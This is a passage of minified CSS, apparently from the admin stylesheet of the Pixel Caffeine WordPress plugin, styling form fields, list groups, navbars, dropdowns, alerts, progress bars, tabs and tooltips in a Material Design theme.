line-height: 1.0714285718; } .pixel-caffeine-wrapper .form-group.label-floating input.form-control:-webkit-autofill ~ label.control-label label.control-label { top: -28px; left: 0; font-size: 11px; line-height: 1.0714285718; } .pixel-caffeine-wrapper .form-group.form-group-sm { padding-bottom: 3px; margin: 21px 0 0 0; } .pixel-caffeine-wrapper .form-group.form-group-sm .form-control { margin-bottom: 3px; } .pixel-caffeine-wrapper .form-group.form-group-sm .form-control::-moz-placeholder { font-size: 11px; line-height: 1.5; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group.form-group-sm .form-control:-ms-input-placeholder { font-size: 11px; line-height: 1.5; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group.form-group-sm .form-control::-webkit-input-placeholder { font-size: 11px; line-height: 1.5; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group.form-group-sm .checkbox label, .pixel-caffeine-wrapper .form-group.form-group-sm .radio label, .pixel-caffeine-wrapper .form-group.form-group-sm label { font-size: 11px; line-height: 1.5; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group.form-group-sm label.control-label { font-size: 9px; line-height: 1.125; font-weight: 400; margin: 16px 0 0 0; } .pixel-caffeine-wrapper .form-group.form-group-sm .help-block { margin-top: 0; font-size: 9px; } .pixel-caffeine-wrapper .form-group.form-group-sm.label-floating label.control-label, .pixel-caffeine-wrapper .form-group.form-group-sm.label-placeholder label.control-label { top: -11px; font-size: 11px; line-height: 1.5; } .pixel-caffeine-wrapper .form-group.form-group-sm.label-static label.control-label, .pixel-caffeine-wrapper .form-group.form-group-sm.label-floating.is-focused label.control-label, .pixel-caffeine-wrapper .form-group.form-group-sm.label-floating:not(.is-empty) label.control-label { top: -25px; left: 0; font-size: 9px; line-height: 1.125; } .pixel-caffeine-wrapper .form-group.form-group-sm.label-floating input.form-control:-webkit-autofill ~ label.control-label label.control-label { top: -25px; left: 0; font-size: 9px; line-height: 1.125; } .pixel-caffeine-wrapper .form-group.form-group-lg { padding-bottom: 9px; margin: 30px 0 0 0; } .pixel-caffeine-wrapper .form-group.form-group-lg .form-control { margin-bottom: 9px; } .pixel-caffeine-wrapper .form-group.form-group-lg .form-control::-moz-placeholder { font-size: 18px; line-height: 1.3333333; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group.form-group-lg .form-control:-ms-input-placeholder { font-size: 18px; line-height: 1.3333333; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group.form-group-lg .form-control::-webkit-input-placeholder { font-size: 18px; line-height: 1.3333333; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group.form-group-lg .checkbox label, .pixel-caffeine-wrapper .form-group.form-group-lg .radio label, .pixel-caffeine-wrapper .form-group.form-group-lg label { font-size: 18px; line-height: 1.3333333; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group.form-group-lg label.control-label { font-size: 14px; line-height: 0.999999975; font-weight: 400; margin: 16px 0 0 0; } .pixel-caffeine-wrapper .form-group.form-group-lg .help-block { margin-top: 0; font-size: 14px; } .pixel-caffeine-wrapper .form-group.form-group-lg.label-floating label.control-label, .pixel-caffeine-wrapper .form-group.form-group-lg.label-placeholder label.control-label { top: -5px; font-size: 18px; line-height: 1.3333333; } .pixel-caffeine-wrapper .form-group.form-group-lg.label-static label.control-label, .pixel-caffeine-wrapper .form-group.form-group-lg.label-floating.is-focused label.control-label, .pixel-caffeine-wrapper .form-group.form-group-lg.label-floating:not(.is-empty) label.control-label { top: -32px; left: 0; font-size: 14px; line-height: 0.999999975; } .pixel-caffeine-wrapper .form-group.form-group-lg.label-floating input.form-control:-webkit-autofill ~ label.control-label label.control-label { top: -32px; left: 0; font-size: 14px; line-height: 0.999999975; } .pixel-caffeine-wrapper select.form-control { border: 0; -webkit-box-shadow: none; box-shadow: none; border-radius: 0; } .form-group.is-focused .pixel-caffeine-wrapper select.form-control { -webkit-box-shadow: none; box-shadow: none; border-color: #D2D2D2; } .pixel-caffeine-wrapper select.form-control[multiple], .form-group.is-focused .pixel-caffeine-wrapper select.form-control[multiple] { height: 85px; } .pixel-caffeine-wrapper .input-group-btn .btn { margin: 0 0 7px 0; } .pixel-caffeine-wrapper .form-group.form-group-sm .input-group-btn .btn { margin: 0 0 3px 0; } .pixel-caffeine-wrapper .form-group.form-group-lg .input-group-btn .btn { margin: 0 0 9px 0; } .pixel-caffeine-wrapper .input-group .input-group-btn { padding: 0 12px; } .pixel-caffeine-wrapper .input-group .input-group-addon { border: 0; background: transparent; } .pixel-caffeine-wrapper .form-group input[type=file] { opacity: 0; position: absolute; top: 0; right: 0; bottom: 0; left: 0; width: 100%; height: 100%; z-index: 100; } .pixel-caffeine-wrapper legend { border-bottom: 0; } .pixel-caffeine-wrapper .list-group { border-radius: 0; } .pixel-caffeine-wrapper .list-group .list-group-item { background-color: transparent; overflow: hidden; border: 0; border-radius: 0; padding: 0 16px; } .pixel-caffeine-wrapper .list-group .list-group-item.baseline { border-bottom: 1px solid #cecece; } .pixel-caffeine-wrapper .list-group .list-group-item.baseline:last-child { border-bottom: none; } .pixel-caffeine-wrapper .list-group .list-group-item .row-picture, .pixel-caffeine-wrapper .list-group .list-group-item .row-action-primary { display: inline-block; padding-right: 16px; } .pixel-caffeine-wrapper .list-group .list-group-item .row-picture img, .pixel-caffeine-wrapper .list-group .list-group-item .row-picture i, .pixel-caffeine-wrapper .list-group .list-group-item .row-picture label, .pixel-caffeine-wrapper .list-group .list-group-item .row-action-primary img, .pixel-caffeine-wrapper .list-group .list-group-item .row-action-primary i, .pixel-caffeine-wrapper .list-group .list-group-item .row-action-primary label { display: block; width: 56px; height: 56px; } .pixel-caffeine-wrapper .list-group .list-group-item .row-picture img, .pixel-caffeine-wrapper .list-group .list-group-item .row-action-primary img { background: rgba(0, 0, 0, 0.1); padding: 1px; } .pixel-caffeine-wrapper .list-group .list-group-item .row-picture img.circle, .pixel-caffeine-wrapper .list-group .list-group-item .row-action-primary img.circle { border-radius: 100%; } .pixel-caffeine-wrapper .list-group .list-group-item .row-picture i, .pixel-caffeine-wrapper .list-group .list-group-item .row-action-primary i { background: rgba(0, 0, 0, 0.25); border-radius: 100%; text-align: center; line-height: 56px; font-size: 20px; color: white; } .pixel-caffeine-wrapper .list-group .list-group-item .row-picture label, .pixel-caffeine-wrapper .list-group .list-group-item .row-action-primary label { margin-left: 7px; margin-right: -7px; margin-top: 5px; margin-bottom: -5px; } .pixel-caffeine-wrapper .list-group .list-group-item .row-picture label .checkbox-material, .pixel-caffeine-wrapper .list-group .list-group-item .row-action-primary label .checkbox-material { left: -10px; } .pixel-caffeine-wrapper .list-group .list-group-item .row-content { display: inline-block; width: calc(100% - 92px); min-height: 66px; } .pixel-caffeine-wrapper .list-group .list-group-item .row-content .action-secondary { position: absolute; right: 16px; top: 16px; } .pixel-caffeine-wrapper .list-group .list-group-item .row-content .action-secondary i { font-size: 20px; color: rgba(0, 0, 0, 0.25); cursor: pointer; } .pixel-caffeine-wrapper .list-group .list-group-item .row-content .action-secondary ~ * { max-width: calc(100% - 30px); } .pixel-caffeine-wrapper .list-group .list-group-item .row-content .least-content { position: absolute; right: 16px; top: 0; color: rgba(0, 0, 0, 0.54); font-size: 14px; } .pixel-caffeine-wrapper .list-group .list-group-item .list-group-item-heading { color: rgba(0, 0, 0, 0.77); font-size: 20px; line-height: 29px; } .pixel-caffeine-wrapper .list-group .list-group-item.active:hover, .pixel-caffeine-wrapper .list-group .list-group-item.active:focus { background: rgba(0, 0, 0, 0.15); outline: 10px solid rgba(0, 0, 0, 0.15); } .pixel-caffeine-wrapper .list-group .list-group-item.active .list-group-item-heading, .pixel-caffeine-wrapper .list-group .list-group-item.active .list-group-item-text { color: rgba(0,0,0, 0.87); } .pixel-caffeine-wrapper .list-group .list-group-separator { clear: both; overflow: hidden; margin-top: 10px; margin-bottom: 10px; } .pixel-caffeine-wrapper .list-group .list-group-separator:before { content: ""; width: calc(100% - 90px); border-bottom: 1px solid rgba(0, 0, 0, 0.1); float: right; } .pixel-caffeine-wrapper .navbar { background-color: #4C70BA; border: 0; border-radius: 0; } .pixel-caffeine-wrapper .navbar .navbar-brand { position: relative; height: 60px; line-height: 30px; color: inherit; } .pixel-caffeine-wrapper .navbar .navbar-brand:hover, .pixel-caffeine-wrapper .navbar .navbar-brand:focus { color: inherit; background-color: transparent; } .pixel-caffeine-wrapper .navbar .navbar-text { color: inherit; margin-top: 20px; margin-bottom: 20px; } .pixel-caffeine-wrapper .navbar .navbar-nav > li > a { color: inherit; padding-top: 20px; padding-bottom: 20px; } .pixel-caffeine-wrapper .navbar .navbar-nav > li > a:hover, .pixel-caffeine-wrapper .navbar .navbar-nav > li > a:focus { color: inherit; background-color: transparent; } .pixel-caffeine-wrapper .navbar .navbar-nav > .active > a, .pixel-caffeine-wrapper .navbar .navbar-nav > .active > a:hover, .pixel-caffeine-wrapper .navbar .navbar-nav > .active > a:focus { color: inherit; background-color: rgba(255, 255, 255, 0.1); } .pixel-caffeine-wrapper .navbar .navbar-nav > .disabled > a, .pixel-caffeine-wrapper .navbar .navbar-nav > .disabled > a:hover, .pixel-caffeine-wrapper .navbar .navbar-nav > .disabled > a:focus { color: inherit; background-color: transparent; opacity: 0.9; } .pixel-caffeine-wrapper .navbar .navbar-toggle { border: 0; } .pixel-caffeine-wrapper .navbar .navbar-toggle:hover, .pixel-caffeine-wrapper .navbar .navbar-toggle:focus { background-color: transparent; } .pixel-caffeine-wrapper .navbar .navbar-toggle .icon-bar { background-color: inherit; border: 1px solid; } .pixel-caffeine-wrapper .navbar .navbar-default .navbar-toggle, .pixel-caffeine-wrapper .navbar .navbar-inverse .navbar-toggle { border-color: transparent; } .pixel-caffeine-wrapper .navbar .navbar-collapse, .pixel-caffeine-wrapper .navbar .navbar-form { border-color: rgba(0, 0, 0, 0.1); } .pixel-caffeine-wrapper .navbar .navbar-nav > .open > a, .pixel-caffeine-wrapper .navbar .navbar-nav > .open > a:hover, .pixel-caffeine-wrapper .navbar .navbar-nav > .open > a:focus { background-color: transparent; color: inherit; } @media (max-width: 767px) { .pixel-caffeine-wrapper .navbar .navbar-nav .navbar-text { color: inherit; margin-top: 15px; margin-bottom: 15px; } .pixel-caffeine-wrapper .navbar .navbar-nav .open .dropdown-menu > .dropdown-header { border: 0; color: inherit; } .pixel-caffeine-wrapper .navbar .navbar-nav .open .dropdown-menu .divider { border-bottom: 1px solid; opacity: 0.08; } .pixel-caffeine-wrapper .navbar .navbar-nav .open .dropdown-menu > li > a { color: inherit; } .pixel-caffeine-wrapper .navbar .navbar-nav .open .dropdown-menu > li > a:hover, .pixel-caffeine-wrapper .navbar .navbar-nav .open .dropdown-menu > li > a:focus { color: inherit; background-color: transparent; } .pixel-caffeine-wrapper .navbar .navbar-nav .open .dropdown-menu > .active > a, .pixel-caffeine-wrapper .navbar .navbar-nav .open .dropdown-menu > .active > a:hover, .pixel-caffeine-wrapper .navbar .navbar-nav .open .dropdown-menu > .active > a:focus { color: inherit; background-color: transparent; } .pixel-caffeine-wrapper .navbar .navbar-nav .open .dropdown-menu > .disabled > a, .pixel-caffeine-wrapper .navbar .navbar-nav .open .dropdown-menu > .disabled > a:hover, .pixel-caffeine-wrapper .navbar .navbar-nav .open .dropdown-menu > .disabled > a:focus { color: inherit; background-color: transparent; } } .pixel-caffeine-wrapper .navbar .navbar-link { color: inherit; } .pixel-caffeine-wrapper .navbar .navbar-link:hover { color: inherit; } .pixel-caffeine-wrapper .navbar .btn-link { color: inherit; } .pixel-caffeine-wrapper .navbar .btn-link:hover, .pixel-caffeine-wrapper .navbar .btn-link:focus { color: inherit; } .pixel-caffeine-wrapper .navbar .btn-link[disabled]:hover, .pixel-caffeine-wrapper .navbar .btn-link[disabled]:focus, fieldset[disabled] .pixel-caffeine-wrapper .navbar .btn-link:hover, fieldset[disabled] .pixel-caffeine-wrapper .navbar .btn-link:focus { color: inherit; } .pixel-caffeine-wrapper .navbar .navbar-form { margin-top: 16px; } .pixel-caffeine-wrapper .navbar .navbar-form .form-group { margin: 0; padding: 0; } .pixel-caffeine-wrapper .navbar .navbar-form .form-group .material-input:before, .pixel-caffeine-wrapper .navbar .navbar-form .form-group.is-focused .material-input:after { background-color: inherit; } .pixel-caffeine-wrapper .navbar .navbar-form .form-group .form-control, .pixel-caffeine-wrapper .navbar .navbar-form .form-control { border-color: inherit; color: inherit; padding: 0; margin: 0; height: 28px; font-size: 14px; line-height: 1.428571429; } .pixel-caffeine-wrapper .navbar, .pixel-caffeine-wrapper .navbar.navbar-default { background-color: #4C70BA; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar .navbar-form .form-group input.form-control::-moz-placeholder, .pixel-caffeine-wrapper .navbar .navbar-form input.form-control::-moz-placeholder, .pixel-caffeine-wrapper .navbar.navbar-default .navbar-form .form-group input.form-control::-moz-placeholder, .pixel-caffeine-wrapper .navbar.navbar-default .navbar-form input.form-control::-moz-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar .navbar-form .form-group input.form-control:-ms-input-placeholder, .pixel-caffeine-wrapper .navbar .navbar-form input.form-control:-ms-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-default .navbar-form .form-group input.form-control:-ms-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-default .navbar-form input.form-control:-ms-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar .navbar-form .form-group input.form-control::-webkit-input-placeholder, .pixel-caffeine-wrapper .navbar .navbar-form input.form-control::-webkit-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-default .navbar-form .form-group input.form-control::-webkit-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-default .navbar-form input.form-control::-webkit-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar .dropdown-menu, .pixel-caffeine-wrapper .navbar.navbar-default .dropdown-menu { border-radius: 4px; } .pixel-caffeine-wrapper .navbar .dropdown-menu li > a, .pixel-caffeine-wrapper .navbar.navbar-default .dropdown-menu li > a { font-size: 16px; padding: 13px 16px; } .pixel-caffeine-wrapper .navbar .dropdown-menu li > a:hover, .pixel-caffeine-wrapper .navbar .dropdown-menu li > a:focus, .pixel-caffeine-wrapper .navbar.navbar-default .dropdown-menu li > a:hover, .pixel-caffeine-wrapper .navbar.navbar-default .dropdown-menu li > a:focus { color: #4C70BA; background-color: #eeeeee; } .pixel-caffeine-wrapper .navbar .dropdown-menu .active > a, .pixel-caffeine-wrapper .navbar.navbar-default .dropdown-menu .active > a { background-color: #4C70BA; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar .dropdown-menu .active > a:hover, .pixel-caffeine-wrapper .navbar .dropdown-menu .active > a:focus, .pixel-caffeine-wrapper .navbar.navbar-default .dropdown-menu .active > a:hover, .pixel-caffeine-wrapper .navbar.navbar-default .dropdown-menu .active > a:focus { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-inverse { background-color: #3f51b5; color: #ffffff; } .pixel-caffeine-wrapper .navbar.navbar-inverse .navbar-form .form-group input.form-control::-moz-placeholder, .pixel-caffeine-wrapper .navbar.navbar-inverse .navbar-form input.form-control::-moz-placeholder { color: #ffffff; } .pixel-caffeine-wrapper .navbar.navbar-inverse .navbar-form .form-group input.form-control:-ms-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-inverse .navbar-form input.form-control:-ms-input-placeholder { color: #ffffff; } .pixel-caffeine-wrapper .navbar.navbar-inverse .navbar-form .form-group input.form-control::-webkit-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-inverse .navbar-form input.form-control::-webkit-input-placeholder { color: #ffffff; } .pixel-caffeine-wrapper .navbar.navbar-inverse .dropdown-menu { border-radius: 4px; } .pixel-caffeine-wrapper .navbar.navbar-inverse .dropdown-menu li > a { font-size: 16px; padding: 13px 16px; } .pixel-caffeine-wrapper .navbar.navbar-inverse .dropdown-menu li > a:hover, .pixel-caffeine-wrapper .navbar.navbar-inverse .dropdown-menu li > a:focus { color: #3f51b5; background-color: #eeeeee; } .pixel-caffeine-wrapper .navbar.navbar-inverse .dropdown-menu .active > a { background-color: #3f51b5; color: #ffffff; } .pixel-caffeine-wrapper .navbar.navbar-inverse .dropdown-menu .active > a:hover, .pixel-caffeine-wrapper .navbar.navbar-inverse .dropdown-menu .active > a:focus { color: #ffffff; } .pixel-caffeine-wrapper .navbar.navbar-primary { background-color: #4C70BA; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-primary .navbar-form .form-group input.form-control::-moz-placeholder, .pixel-caffeine-wrapper .navbar.navbar-primary .navbar-form input.form-control::-moz-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-primary .navbar-form .form-group input.form-control:-ms-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-primary .navbar-form input.form-control:-ms-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-primary .navbar-form .form-group input.form-control::-webkit-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-primary .navbar-form input.form-control::-webkit-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-primary .dropdown-menu { border-radius: 4px; } .pixel-caffeine-wrapper .navbar.navbar-primary .dropdown-menu li > a { font-size: 16px; padding: 13px 16px; } .pixel-caffeine-wrapper .navbar.navbar-primary .dropdown-menu li > a:hover, .pixel-caffeine-wrapper .navbar.navbar-primary .dropdown-menu li > a:focus { color: #4C70BA; background-color: #eeeeee; } .pixel-caffeine-wrapper .navbar.navbar-primary .dropdown-menu .active > a { background-color: #4C70BA; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-primary .dropdown-menu .active > a:hover, .pixel-caffeine-wrapper .navbar.navbar-primary .dropdown-menu .active > a:focus { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-success { background-color: #68AA20; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-success .navbar-form .form-group input.form-control::-moz-placeholder, .pixel-caffeine-wrapper .navbar.navbar-success .navbar-form input.form-control::-moz-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-success .navbar-form .form-group input.form-control:-ms-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-success .navbar-form input.form-control:-ms-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-success .navbar-form .form-group input.form-control::-webkit-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-success .navbar-form input.form-control::-webkit-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-success .dropdown-menu { border-radius: 4px; } .pixel-caffeine-wrapper .navbar.navbar-success .dropdown-menu li > a { font-size: 16px; padding: 13px 16px; } .pixel-caffeine-wrapper .navbar.navbar-success .dropdown-menu li > a:hover, .pixel-caffeine-wrapper .navbar.navbar-success .dropdown-menu li > a:focus { color: #68AA20; background-color: #eeeeee; } .pixel-caffeine-wrapper .navbar.navbar-success .dropdown-menu .active > a { background-color: #68AA20; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-success .dropdown-menu .active > a:hover, .pixel-caffeine-wrapper .navbar.navbar-success .dropdown-menu .active > a:focus { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-info { background-color: #5bc0de; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-info .navbar-form .form-group input.form-control::-moz-placeholder, .pixel-caffeine-wrapper .navbar.navbar-info .navbar-form input.form-control::-moz-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-info .navbar-form .form-group input.form-control:-ms-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-info .navbar-form input.form-control:-ms-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-info .navbar-form .form-group input.form-control::-webkit-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-info .navbar-form input.form-control::-webkit-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-info .dropdown-menu { border-radius: 4px; } .pixel-caffeine-wrapper .navbar.navbar-info .dropdown-menu li > a { font-size: 16px; padding: 13px 16px; } .pixel-caffeine-wrapper .navbar.navbar-info .dropdown-menu li > a:hover, .pixel-caffeine-wrapper .navbar.navbar-info .dropdown-menu li > a:focus { color: #5bc0de; background-color: #eeeeee; } .pixel-caffeine-wrapper .navbar.navbar-info .dropdown-menu .active > a { background-color: #5bc0de; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-info .dropdown-menu .active > a:hover, .pixel-caffeine-wrapper .navbar.navbar-info .dropdown-menu .active > a:focus { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-warning { background-color: #FD9C00; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-warning .navbar-form .form-group input.form-control::-moz-placeholder, .pixel-caffeine-wrapper .navbar.navbar-warning .navbar-form input.form-control::-moz-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-warning .navbar-form .form-group input.form-control:-ms-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-warning .navbar-form input.form-control:-ms-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-warning .navbar-form .form-group input.form-control::-webkit-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-warning .navbar-form input.form-control::-webkit-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-warning .dropdown-menu { border-radius: 4px; } .pixel-caffeine-wrapper .navbar.navbar-warning .dropdown-menu li > a { font-size: 16px; padding: 13px 16px; } .pixel-caffeine-wrapper .navbar.navbar-warning .dropdown-menu li > a:hover, .pixel-caffeine-wrapper .navbar.navbar-warning .dropdown-menu li > a:focus { color: #FD9C00; background-color: #eeeeee; } .pixel-caffeine-wrapper .navbar.navbar-warning .dropdown-menu .active > a { background-color: #FD9C00; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-warning .dropdown-menu .active > a:hover, .pixel-caffeine-wrapper .navbar.navbar-warning .dropdown-menu .active > a:focus { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-danger { background-color: #E15667; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-danger .navbar-form .form-group input.form-control::-moz-placeholder, .pixel-caffeine-wrapper .navbar.navbar-danger .navbar-form input.form-control::-moz-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-danger .navbar-form .form-group input.form-control:-ms-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-danger .navbar-form input.form-control:-ms-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-danger .navbar-form .form-group input.form-control::-webkit-input-placeholder, .pixel-caffeine-wrapper .navbar.navbar-danger .navbar-form input.form-control::-webkit-input-placeholder { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-danger .dropdown-menu { border-radius: 4px; } .pixel-caffeine-wrapper .navbar.navbar-danger .dropdown-menu li > a { font-size: 16px; padding: 13px 16px; } .pixel-caffeine-wrapper .navbar.navbar-danger .dropdown-menu li > a:hover, .pixel-caffeine-wrapper .navbar.navbar-danger .dropdown-menu li > a:focus { color: #E15667; background-color: #eeeeee; } .pixel-caffeine-wrapper .navbar.navbar-danger .dropdown-menu .active > a { background-color: #E15667; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar.navbar-danger .dropdown-menu .active > a:hover, .pixel-caffeine-wrapper .navbar.navbar-danger .dropdown-menu .active > a:focus { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .navbar-inverse { background-color: #3f51b5; } @media (max-width: 1199px) { .pixel-caffeine-wrapper .navbar .navbar-brand { height: 50px; padding: 10px 15px; } .pixel-caffeine-wrapper .navbar .navbar-form { margin-top: 10px; } .pixel-caffeine-wrapper .navbar .navbar-nav > li > a { padding-top: 15px; padding-bottom: 15px; } } .pixel-caffeine-wrapper .dropdown-menu { border: 0; -webkit-box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.26); box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.26); } .pixel-caffeine-wrapper .dropdown-menu .divider { background-color: rgba(0, 0, 0, 0.12); } .pixel-caffeine-wrapper .dropdown-menu li { overflow: hidden; position: relative; } .pixel-caffeine-wrapper .dropdown-menu li a:hover { background-color: transparent; color: #4C70BA; } .pixel-caffeine-wrapper .alert { border: 0; border-radius: 0; } .pixel-caffeine-wrapper .alert, .pixel-caffeine-wrapper .alert.alert-default { background-color: rgba(255,255,255, 0.84); color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert a, .pixel-caffeine-wrapper .alert .alert-link, .pixel-caffeine-wrapper .alert.alert-default a, .pixel-caffeine-wrapper .alert.alert-default .alert-link { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert.alert-inverse { background-color: #3f51b5; color: #ffffff; } .pixel-caffeine-wrapper .alert.alert-inverse a, .pixel-caffeine-wrapper .alert.alert-inverse .alert-link { color: #ffffff; } .pixel-caffeine-wrapper .alert.alert-primary { background-color: #4C70BA; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert.alert-primary a, .pixel-caffeine-wrapper .alert.alert-primary .alert-link { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert.alert-success { background-color: #68AA20; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert.alert-success a, .pixel-caffeine-wrapper .alert.alert-success .alert-link { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert.alert-info { background-color: #5bc0de; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert.alert-info a, .pixel-caffeine-wrapper .alert.alert-info .alert-link { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert.alert-warning { background-color: #FD9C00; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert.alert-warning a, .pixel-caffeine-wrapper .alert.alert-warning .alert-link { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert.alert-danger { background-color: #E15667; color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert.alert-danger a, .pixel-caffeine-wrapper .alert.alert-danger .alert-link { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert-info, .pixel-caffeine-wrapper .alert-danger, .pixel-caffeine-wrapper .alert-warning, .pixel-caffeine-wrapper .alert-success { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper .alert-default a, .pixel-caffeine-wrapper .alert-default .alert-link { color: rgba(0,0,0, 0.87); } .pixel-caffeine-wrapper .progress { height: 4px; border-radius: 0; -webkit-box-shadow: none; box-shadow: none; background: #c8c8c8; } .pixel-caffeine-wrapper .progress .progress-bar { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .progress .progress-bar, .pixel-caffeine-wrapper .progress .progress-bar.progress-bar-default { background-color: #4C70BA; } .pixel-caffeine-wrapper .progress .progress-bar.progress-bar-inverse { background-color: #3f51b5; } .pixel-caffeine-wrapper .progress .progress-bar.progress-bar-primary { background-color: #4C70BA; } .pixel-caffeine-wrapper .progress .progress-bar.progress-bar-success { background-color: #68AA20; } .pixel-caffeine-wrapper .progress .progress-bar.progress-bar-info { background-color: #5bc0de; } .pixel-caffeine-wrapper .progress .progress-bar.progress-bar-warning { background-color: #FD9C00; } .pixel-caffeine-wrapper .progress .progress-bar.progress-bar-danger { background-color: #E15667; } .pixel-caffeine-wrapper .text-warning { color: #FD9C00; } .pixel-caffeine-wrapper .text-primary { color: #4C70BA; } .pixel-caffeine-wrapper .text-danger { color: #E15667; } .pixel-caffeine-wrapper .text-success { color: #68AA20; } .pixel-caffeine-wrapper .text-info { color: #5bc0de; } .pixel-caffeine-wrapper .nav-tabs { background: #4C70BA; } .pixel-caffeine-wrapper .nav-tabs > li > a { color: #FFFFFF; border: 0; margin: 0; } .pixel-caffeine-wrapper .nav-tabs > li > a:hover { background-color: transparent; border: 0; } .pixel-caffeine-wrapper .nav-tabs > li > a, .pixel-caffeine-wrapper .nav-tabs > li > a:hover, .pixel-caffeine-wrapper .nav-tabs > li > a:focus { background-color: transparent !important; border: 0 !important; color: #FFFFFF !important; font-weight: 500; } .pixel-caffeine-wrapper .nav-tabs > li.disabled > a, .pixel-caffeine-wrapper .nav-tabs > li.disabled > a:hover { color: rgba(255, 255, 255, 0.5); } .pixel-caffeine-wrapper .popover, .pixel-caffeine-wrapper .tooltip-inner { color: #ececec; line-height: 1em; background: rgba(101, 101, 101, 0.9); border: none; border-radius: 4px; -webkit-box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); } .pixel-caffeine-wrapper .tooltip, .pixel-caffeine-wrapper .tooltip.in { opacity: 1; } .pixel-caffeine-wrapper .popover .arrow, .pixel-caffeine-wrapper .popover .tooltip-arrow, .pixel-caffeine-wrapper .tooltip .arrow, .pixel-caffeine-wrapper .tooltip .tooltip-arrow { display: none; } .pixel-caffeine-wrapper .card { /***** Make height equal to width 